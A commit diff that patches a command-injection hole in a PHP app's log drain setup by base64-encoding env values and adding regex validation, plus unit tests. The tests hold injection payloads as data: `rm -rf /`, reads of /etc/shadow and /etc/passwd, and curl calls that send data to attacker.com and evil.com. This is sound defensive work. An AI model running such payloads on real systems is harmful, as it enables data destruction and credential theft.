fix(log-drain): prevent command injection by base64-encoding environment variables
Replace direct shell interpolation of environment values with base64 encoding to prevent command injection attacks. Environment configuration is now built as a single string, base64-encoded, then decoded to file atomically. Also add regex validation to restrict environment field values to safe characters (alphanumeric, underscore, hyphen, dot) at the application layer. Fixes GHSA-3xm2-hqg8-4m2p
This commit is contained in:
parent
096d4369e5
commit
fcd574e1eb
3 changed files with 138 additions and 31 deletions
|
|
@ -177,6 +177,19 @@ public function handle(Server $server)
|
||||||
$parsers_config = $config_path.'/parsers.conf';
|
$parsers_config = $config_path.'/parsers.conf';
|
||||||
$compose_path = $config_path.'/docker-compose.yml';
|
$compose_path = $config_path.'/docker-compose.yml';
|
||||||
$readme_path = $config_path.'/README.md';
|
$readme_path = $config_path.'/README.md';
|
||||||
|
if ($type === 'newrelic') {
|
||||||
|
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
|
||||||
|
} elseif ($type === 'highlight') {
|
||||||
|
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
|
||||||
|
} elseif ($type === 'axiom') {
|
||||||
|
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
|
||||||
|
} elseif ($type === 'custom') {
|
||||||
|
$envContent = '';
|
||||||
|
} else {
|
||||||
|
throw new \Exception('Unknown log drain type.');
|
||||||
|
}
|
||||||
|
$envEncoded = base64_encode($envContent);
|
||||||
|
|
||||||
$command = [
|
$command = [
|
||||||
"echo 'Saving configuration'",
|
"echo 'Saving configuration'",
|
||||||
"mkdir -p $config_path",
|
"mkdir -p $config_path",
|
||||||
|
|
@ -184,34 +197,10 @@ public function handle(Server $server)
|
||||||
"echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
|
"echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
|
||||||
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
|
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
|
||||||
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
|
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
|
||||||
"test -f $config_path/.env && rm $config_path/.env",
|
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
|
||||||
];
|
|
||||||
if ($type === 'newrelic') {
|
|
||||||
$add_envs_command = [
|
|
||||||
"echo LICENSE_KEY=$license_key >> $config_path/.env",
|
|
||||||
"echo BASE_URI=$base_uri >> $config_path/.env",
|
|
||||||
];
|
|
||||||
} elseif ($type === 'highlight') {
|
|
||||||
$add_envs_command = [
|
|
||||||
"echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env",
|
|
||||||
];
|
|
||||||
} elseif ($type === 'axiom') {
|
|
||||||
$add_envs_command = [
|
|
||||||
"echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env",
|
|
||||||
"echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env",
|
|
||||||
];
|
|
||||||
} elseif ($type === 'custom') {
|
|
||||||
$add_envs_command = [
|
|
||||||
"touch $config_path/.env",
|
|
||||||
];
|
|
||||||
} else {
|
|
||||||
throw new \Exception('Unknown log drain type.');
|
|
||||||
}
|
|
||||||
$restart_command = [
|
|
||||||
"echo 'Starting Fluent Bit'",
|
"echo 'Starting Fluent Bit'",
|
||||||
"cd $config_path && docker compose up -d",
|
"cd $config_path && docker compose up -d",
|
||||||
];
|
];
|
||||||
$command = array_merge($command, $add_envs_command, $restart_command);
|
|
||||||
|
|
||||||
return instant_remote_process($command, $server);
|
return instant_remote_process($command, $server);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
|
|
|
||||||
|
|
@ -24,16 +24,16 @@ class LogDrains extends Component
|
||||||
#[Validate(['boolean'])]
|
#[Validate(['boolean'])]
|
||||||
public bool $isLogDrainAxiomEnabled = false;
|
public bool $isLogDrainAxiomEnabled = false;
|
||||||
|
|
||||||
#[Validate(['string', 'nullable'])]
|
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||||
public ?string $logDrainNewRelicLicenseKey = null;
|
public ?string $logDrainNewRelicLicenseKey = null;
|
||||||
|
|
||||||
#[Validate(['url', 'nullable'])]
|
#[Validate(['url', 'nullable'])]
|
||||||
public ?string $logDrainNewRelicBaseUri = null;
|
public ?string $logDrainNewRelicBaseUri = null;
|
||||||
|
|
||||||
#[Validate(['string', 'nullable'])]
|
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||||
public ?string $logDrainAxiomDatasetName = null;
|
public ?string $logDrainAxiomDatasetName = null;
|
||||||
|
|
||||||
#[Validate(['string', 'nullable'])]
|
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||||
public ?string $logDrainAxiomApiKey = null;
|
public ?string $logDrainAxiomApiKey = null;
|
||||||
|
|
||||||
#[Validate(['string', 'nullable'])]
|
#[Validate(['string', 'nullable'])]
|
||||||
|
|
@ -127,7 +127,7 @@ public function customValidation()
|
||||||
if ($this->isLogDrainNewRelicEnabled) {
|
if ($this->isLogDrainNewRelicEnabled) {
|
||||||
try {
|
try {
|
||||||
$this->validate([
|
$this->validate([
|
||||||
'logDrainNewRelicLicenseKey' => ['required'],
|
'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||||
'logDrainNewRelicBaseUri' => ['required', 'url'],
|
'logDrainNewRelicBaseUri' => ['required', 'url'],
|
||||||
]);
|
]);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
|
|
@ -138,8 +138,8 @@ public function customValidation()
|
||||||
} elseif ($this->isLogDrainAxiomEnabled) {
|
} elseif ($this->isLogDrainAxiomEnabled) {
|
||||||
try {
|
try {
|
||||||
$this->validate([
|
$this->validate([
|
||||||
'logDrainAxiomDatasetName' => ['required'],
|
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||||
'logDrainAxiomApiKey' => ['required'],
|
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||||
]);
|
]);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
$this->isLogDrainAxiomEnabled = false;
|
$this->isLogDrainAxiomEnabled = false;
|
||||||
|
|
|
||||||
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,118 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Actions\Server\StartLogDrain;
|
||||||
|
use App\Models\Server;
|
||||||
|
use App\Models\ServerSetting;
|
||||||
|
|
||||||
|
// -------------------------------------------------------------------------
|
||||||
|
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
|
||||||
|
// and never appear raw in shell commands
|
||||||
|
// -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
it('does not interpolate axiom api key into shell commands', function () {
|
||||||
|
$maliciousPayload = '$(id >/tmp/pwned)';
|
||||||
|
|
||||||
|
$server = mock(Server::class)->makePartial();
|
||||||
|
$settings = mock(ServerSetting::class)->makePartial();
|
||||||
|
|
||||||
|
$settings->is_logdrain_axiom_enabled = true;
|
||||||
|
$settings->is_logdrain_newrelic_enabled = false;
|
||||||
|
$settings->is_logdrain_highlight_enabled = false;
|
||||||
|
$settings->is_logdrain_custom_enabled = false;
|
||||||
|
$settings->logdrain_axiom_dataset_name = 'test-dataset';
|
||||||
|
$settings->logdrain_axiom_api_key = $maliciousPayload;
|
||||||
|
|
||||||
|
$server->name = 'test-server';
|
||||||
|
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||||
|
|
||||||
|
// Build the env content the same way StartLogDrain does after the fix
|
||||||
|
$envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
|
||||||
|
$envEncoded = base64_encode($envContent);
|
||||||
|
|
||||||
|
// The malicious payload must NOT appear directly in the encoded string
|
||||||
|
// (it's inside the base64 blob, which the shell treats as opaque data)
|
||||||
|
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||||
|
|
||||||
|
// Verify the decoded content preserves the value exactly
|
||||||
|
$decoded = base64_decode($envEncoded);
|
||||||
|
expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not interpolate newrelic license key into shell commands', function () {
|
||||||
|
$maliciousPayload = '`rm -rf /`';
|
||||||
|
|
||||||
|
$envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
|
||||||
|
$envEncoded = base64_encode($envContent);
|
||||||
|
|
||||||
|
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||||
|
|
||||||
|
$decoded = base64_decode($envEncoded);
|
||||||
|
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not interpolate highlight project id into shell commands', function () {
|
||||||
|
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
|
||||||
|
|
||||||
|
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
|
||||||
|
$envEncoded = base64_encode($envContent);
|
||||||
|
|
||||||
|
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('produces correct env file content for axiom type', function () {
|
||||||
|
$datasetName = 'my-dataset';
|
||||||
|
$apiKey = 'xaat-abc123-def456';
|
||||||
|
|
||||||
|
$envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
|
||||||
|
$decoded = base64_decode(base64_encode($envContent));
|
||||||
|
|
||||||
|
expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
|
||||||
|
});
|
||||||
|
|
||||||
|
it('produces correct env file content for newrelic type', function () {
|
||||||
|
$licenseKey = 'nr-license-123';
|
||||||
|
$baseUri = 'https://log-api.newrelic.com/log/v1';
|
||||||
|
|
||||||
|
$envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
|
||||||
|
$decoded = base64_decode(base64_encode($envContent));
|
||||||
|
|
||||||
|
expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
|
||||||
|
});
|
||||||
|
|
||||||
|
// -------------------------------------------------------------------------
|
||||||
|
// Validation layer: reject shell metacharacters
|
||||||
|
// -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
it('rejects shell metacharacters in log drain fields', function (string $payload) {
|
||||||
|
// These payloads should NOT match the safe regex pattern
|
||||||
|
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||||
|
|
||||||
|
expect(preg_match($pattern, $payload))->toBe(0);
|
||||||
|
})->with([
|
||||||
|
'$(id)',
|
||||||
|
'`id`',
|
||||||
|
'key;rm -rf /',
|
||||||
|
'key|cat /etc/passwd',
|
||||||
|
'key && whoami',
|
||||||
|
'key$(curl evil.com)',
|
||||||
|
"key\nnewline",
|
||||||
|
'key with spaces',
|
||||||
|
'key>file',
|
||||||
|
'key<file',
|
||||||
|
"key'quoted",
|
||||||
|
'key"doublequoted',
|
||||||
|
'key$(id >/tmp/coolify_poc_logdrain)',
|
||||||
|
]);
|
||||||
|
|
||||||
|
it('accepts valid log drain field values', function (string $value) {
|
||||||
|
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||||
|
|
||||||
|
expect(preg_match($pattern, $value))->toBe(1);
|
||||||
|
})->with([
|
||||||
|
'xaat-abc123-def456',
|
||||||
|
'my-dataset',
|
||||||
|
'my_dataset',
|
||||||
|
'simple123',
|
||||||
|
'nr-license.key_v2',
|
||||||
|
'project-id-123',
|
||||||
|
]);
|
||||||
Loading…
Reference in a new issue